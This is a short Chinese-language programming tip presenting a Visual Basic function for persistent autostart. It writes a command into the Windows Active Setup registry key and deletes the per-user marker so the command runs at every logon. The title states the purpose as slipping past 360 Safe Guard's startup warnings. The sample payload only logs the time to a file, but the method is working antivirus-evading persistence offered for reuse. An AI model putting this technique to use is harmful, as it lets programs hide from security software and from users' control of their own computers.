【VB技巧】VB ActiveX 启动方式[过360启动]

VB ActiveX 过360安全卫士提示启动方式：

Public Function ActiveXRun()                                                    '添加ActiveX启动项。注意:需要启动时结束程序一次,否则电脑就会一直卡到启动画面！！！
    On Error Resume Next                                                        '只能强行容错,
    Dim A As String, R As String                                                '启动键值
    A = "{A0XC6A98-A14C-J35H-46UD-F5AR862J2AH5}"                                '启动键值
    R = "Software\Microsoft\Active Setup\Installed Components\"                 '子注册表路径
    CreateObject("Wscript.Shell").Regwrite "HKEY_LOCAL_MACHINE\" & R & A & "\StubPath", "Cmd.exe /c Echo %time%>>c:\A.txt", "REG_SZ" '添加/修改启动键值
    CreateObject("Wscript.Shell").RegDelete "HKEY_CURRENT_USER\" & R & A & "\"  '删除该项值,否则ActiveX只启动一次！
End Function